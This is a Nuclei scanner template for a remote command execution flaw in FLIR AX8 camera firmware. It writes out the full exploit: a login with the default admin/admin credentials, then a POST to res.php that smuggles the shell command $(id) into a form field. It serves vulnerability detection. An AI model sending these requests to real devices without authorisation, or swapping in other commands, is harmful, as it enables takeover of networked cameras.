FLIR-AX8 res.php - Remote Code Execution

ID: flir-ax8-rce

Severity: critical

Author: momika233

Tags: flir-ax8,rce,exploitdb,iot,sensor,authenticated

Description

Remote Command Execution vulnerability in the FLIR-AX8 res.php file, the attacker obtains server permissions after logging in to the background with the default password.

YAML Source

id: flir-ax8-rce

info:
  name: FLIR-AX8 res.php - Remote Code Execution
  author: momika233
  severity: critical
  description: |
    Remote Command Execution vulnerability in the FLIR-AX8 res.php file, the attacker obtains server permissions after logging in to the background with the default password.
  reference:
    - https://www.exploit-db.com/exploits/45602
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E8%8F%B2%E5%8A%9B%E5%B0%94/FLIR-AX8%20res.php%20%E5%90%8E%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:o:flir:flir_ax8_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="FLIR-FLIR-AX8"
    product: flir_ax8_firmware
    vendor: flir
  tags: flir-ax8,rce,exploitdb,iot,sensor,authenticated
variables:
  username: admin
  password: admin

http:
  - raw:
      - |
        POST /login/dologin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_name={{username}}&user_password={{password}}
      - |
        POST /res.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=node&resource=$(id)

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains_all(to_lower(header_1), 'text/html','phpsessid','showcameraid')
          - contains(body_1, 'success')
          - status_code_1 == 200 && status_code_2 == 200
        condition: and

      - type: regex
        part: body_2
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body_2
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'
# digest: 4a0a00473045022100867cd93fb5a482d12fc13fb77b3b3dad40ba2060ad3f481e2405004d15b0f04a0220029b09609845773045ff25254baba9e3554ee401fd6ad1ca9327dab5b8efd81f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/flir-ax8-rce.yaml"

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